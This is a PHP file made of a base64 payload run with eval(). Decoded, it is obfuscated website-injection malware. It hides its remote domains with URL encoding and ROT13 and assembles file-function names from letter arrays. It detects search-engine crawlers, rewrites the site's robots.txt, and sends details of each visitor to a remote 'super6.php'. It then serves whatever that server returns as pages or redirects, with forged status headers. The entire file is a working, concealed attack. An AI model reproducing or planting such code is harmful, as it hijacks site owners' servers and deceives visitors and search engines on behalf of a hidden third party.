<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMiUzMiUzMyUzOSUyRCU3OSU3NiU2MSU3OCUzMSUzOSUzOCUyRSU2NSU3NiU2MyU2MiU2MSU2QyUyRSU2NyU2MiU2MyIsCiAgICAiJTMyJTMyJTMzJTM5JTJEJTc5JTc2JTYxJTc4JTMxJTM5JTM4JTJFJTc5JTY4JTdBJTYxJTY3JTY1JTcyJTcyJTJFJTY3JTYyJTYzIiwKICAgICIlMzIlMzIlMzMlMzklMkQlNzklNzYlNjElNzglMzElMzklMzglMkUlNkUlNjglNjUlNzIlNzklNzYlNjYlNjMlMkUlNkIlNkMlNkQiLAogICAgIiUzMiUzMiUzMyUzOSUyRCU3OSU3NiU2MSU3OCUzMSUzOSUzOCUyRSU2NiU2MiU3OSU2OSU2NSU2RSU2MSUyRSU2QiU2QyU2RCIKXTsKJHN0cmluZyA9ICcyMjM5LWxpbmsxOTgnOwoKJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPzogJyc7CiRsYW5nID0gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gPzogJ2VuJzsKJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPzogJyc7CiRodHRwID0gaXNfaHR0cHMoKSA/ICdodHRwcycgOiAnaHR0cCc7CiRsb2NhbGhvc3QgPSAkaHR0cCAuICc6Ly8nIC4gJGhvc3Q7CiRzZXJ2ZXIgPSBmaWxlX2V4aXN0cygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy8uaHRhY2Nlc3MnKSA/IDEgOiAyOwokenogPSBkaXNib3QoKTsKJGR1cmkgPSBkcmVxdWVzdF91cmkoKSA/OiAnLyc7CgokbW9kZWxfZmlsZSA9ICdpbmRleC5waHAnOwokbW9kZWwgPSAnaW5kZXgnOwpwcmVnX21hdGNoKCcvXC8oW15cL10rXC5waHApLycsICRkdXJpLCAkbWF0Y2hlcyk7CmlmICghZW1wdHkoJG1hdGNoZXMpKSB7CiAgICAkbW9kZWxfZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgaWYgKCgkcG9zaXRpb24gPSBzdHJwb3MoJGR1cmksICRtb2RlbF9maWxlKSkgIT09IGZhbHNlKSB7CiAgICAgICAgJG1vZGVsX2ZpbGUgPSBsdHJpbShzdWJzdHIoJGR1cmksIDAsICRwb3NpdGlvbiArIHN0cmxlbigkbW9kZWxfZmlsZSkpLCAnLycpOwogICAgfQogICAgJG1vZGVsID0gc3RyX3JlcGxhY2UoJy5waHAnLCAnJywgJG1vZGVsX2ZpbGUpOwp9CiRtb2RlbCA9IHN0cmlzdHIoJGR1cmksICcvPycpID8gJz8nIDogJG1vZGVsOwoKJGlzdGVzdCA9IGZhbHNlOwppZiAoc3RycG9zKCRkdXJpLCAkc3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICR6eiA9IDE7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCRzdHJpbmcsICcnLCAkZHVyaSk7CiAgICAkaXN0ZXN0ID0gdHJ1ZTsKfQppZiAoJGR1cmkgIT0gJy8nKSB7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvJyAuICRtb2RlbF9maWxlLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnL2luZGV4LnBocCcsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCchJywgJycsICRkdXJpKTsKfQoKJHBhcmFtID0gaHR0cF9idWlsZF9xdWVyeShbCiAgICAnd2ViJyA9PiAkaG9zdCwKICAgICd6eicgPT4gJHp6LAogICAgJ3VyaScgPT4gdXJsZW5jb2RlKCRkdXJpKSwKICAgICd1cmxzaGFuZycgPT4gJHJlZmVyZXIsCiAgICAnaHR0cCcgPT4gJGh0dHAsCiAgICAnbGFuZycgPT4gJGxhbmcsCiAgICAnc2VydmVyJyA9PiAkc2VydmVyLAogICAgJ21vZGVsJyA9PiAkbW9kZWwsCiAgICAndmVyc2lvbicgPT4gJGlzdGVzdCA/ICRzdHJpbmcgOiAnJwpdKTsKCmNyZWF0ZV9yb2JvdHMoJGxvY2FsaG9zdCk7CiRodG1sX2NvbnRlbnQgPSByZXF1ZXN0KCR4bWxuYW1lLCAkcGFyYW0pOwoKaWYgKHN0cnBvcygkaHRtbF9jb250ZW50LCAnbm9ib3R1c2VyYWdlbnQnKSA9PT0gZmFsc2UpIHsKICAgICRyZXNwb25zZV9oYW5kbGVycyA9IGFycmF5KAogICAgICAgICdva2h0bWwnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29raHRtbCcsCiAgICAgICAgICAgICd0ZXN0X2VjaG8nID0+IHRydWUsCiAgICAgICAgICAgICdvdXRwdXQnID0+IHRydWUKICAgICAgICApLAogICAgICAgICdnZXRjb250ZW50NTAwcGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yJwogICAgICAgICksCiAgICAgICAgJzQwNHBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcKICAgICAgICApLAogICAgICAgICczMDFwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDMwMSBNb3ZlZCBQZXJtYW5lbnRseScsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnMzAxcGFnZScsCiAgICAgICAgICAgICdyZWRpcmVjdCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29reG1sJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sOyBjaGFyc2V0PXV0Zi04JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICdva3htbCcsCiAgICAgICAgICAgICdvdXRwdXQnID0+IHRydWUKICAgICAgICApLAogICAgICAgICdva3JvYm90cycgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29rcm9ib3RzJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICkKICAgICk7CgogICAgZm9yZWFjaCAoJHJlc3BvbnNlX2hhbmRsZXJzIGFzICRrZXkgPT4gJGhhbmRsZXIpIHsKICAgICAgICBpZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICRrZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAaGVhZGVyKCRoYW5kbGVyWydoZWFkZXInXSk7CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3JlcGxhY2UnXSkpIHsKICAgICAgICAgICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgkaGFuZGxlclsncmVwbGFjZSddLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsndGVzdF9lY2hvJ10pICYmICRpc3Rlc3QpIHsKICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWydyZWRpcmVjdCddKSkgewogICAgICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOwogICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJGhhbmRsZXJbJ291dHB1dCddKSkgewogICAgICAgICAgICAgICAgZWNobyAkaHRtbF9jb250ZW50OwogICAgICAgICAgICB9CgogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBkaXNib3QoKSB7CiAgICAkdXNlcl9hZ2VudCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgOiAnJzsKICAgICRib3RzID0gYXJyYXkoJ2dvb2dsZWJvdCcsICdiaW5nJywgJ3lhaG9vJywgJ2dvb2dsZScpOwoKICAgIGZvcmVhY2ggKCRib3RzIGFzICRib3QpIHsKICAgICAgICBpZiAoc3RycG9zKCR1c2VyX2FnZW50LCAkYm90KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIDI7Cn0KCmZ1bmN0aW9uIGRyZXF1ZXN0X3VyaSgpIHsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ2FyZ3YnXVswXTsKICAgIH0KCiAgICByZXR1cm4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107Cn0KCmZ1bmN0aW9uIGlzX2h0dHBzKCkgewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSkgewogICAgICAgICRodHRwcyA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pOwogICAgICAgIGlmICgkaHR0cHMgIT09ICdvZmYnICYmICRodHRwcyAhPT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSkgewogICAgICAgICRmcm9udF9lbmRfaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKTsKICAgICAgICBpZiAoJGZyb250X2VuZF9odHRwcyAhPT0gJ29mZicgJiYgJGZyb250X2VuZF9odHRwcyAhPT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3JlYXRlX3JvYm90cygkdXJsKSB7CiAgICAkZnVuY3Rpb25zID0gZnVuYygpOwogICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy9yb2JvdHMudHh0JzsKICAgICRjb250ZW50ID0gIlVzZXItYWdlbnQ6ICpcbkFsbG93OiAvXG5cblNpdGVtYXA6ICIgLiAkdXJsIC4gIi9zaXRlbWFwLnhtbFxuIjsKCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkgewogICAgICAgICRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGV4aXN0aW5nX2NvbnRlbnQgPSAkZnVuY3Rpb25zWzFdKCRwYXRoKTsKICAgICAgICBpZiAoJGV4aXN0aW5nX2NvbnRlbnQgIT09ICRjb250ZW50KSB7CiAgICAgICAgICAgICRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHJlcXVlc3QoJHdlYnMsICRwYXJhbSkgewogICAgJGZ1bmN0aW9ucyA9IGZ1bmMoKTsKICAgIHNodWZmbGUoJHdlYnMpOwoKICAgIGZvcmVhY2ggKCR3ZWJzIGFzICRkb21haW4pIHsKICAgICAgICAkZG9tYWluX2RlY29kZWQgPSAkZnVuY3Rpb25zWzJdKHVybGRlY29kZSgkZG9tYWluKSk7CiAgICAgICAgJHVybCA9ICdodHRwOi8vJyAuICRkb21haW5fZGVjb2RlZCAuICcvc3VwZXI2LnBocD8nIC4gJHBhcmFtOwoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfZ2V0JykpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgkdXJsLCBhcnJheSgKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzMCwKICAgICAgICAgICAgICAgICd1c2VyLWFnZW50JyA9PiAnTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IFdvcmRQcmVzcyknCiAgICAgICAgICAgICkpOwoKICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CgogICAgICAgICAgICAgICAgJGJvZHkgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOwoKICAgICAgICAgICAgICAgIHJldHVybiAkYm9keTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKCiAgICAgICAgICAgIGlmICghY3VybF9lcnJubygkY2gpKSB7CiAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CgogICAgICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKICAgICAgICAgICAgICAgICdodHRwJyA9PiBhcnJheSgndGltZW91dCcgPT4gMzApCiAgICAgICAgICAgICkpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBAJGZ1bmN0aW9uc1sxXSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJ25vYm90dXNlcmFnZW50JzsKfQoKZnVuY3Rpb24gZnVuYygpIHsKICAgICRjaGFycyA9IHJhbmdlKCdhJywgJ3onKTsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAkY2hhcnNbNV0gLiAkY2hhcnNbOF0gLiAkY2hhcnNbMTFdIC4gJGNoYXJzWzRdIC4gJ18nIC4gJGNoYXJzWzE1XSAuICRjaGFyc1syMF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbNl0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1sxOF0gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE3XSAuICdfJyAuICRjaGFyc1sxN10gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzE5XSAuICcxMycKICAgICk7Cn0KCgo=');
eval($a);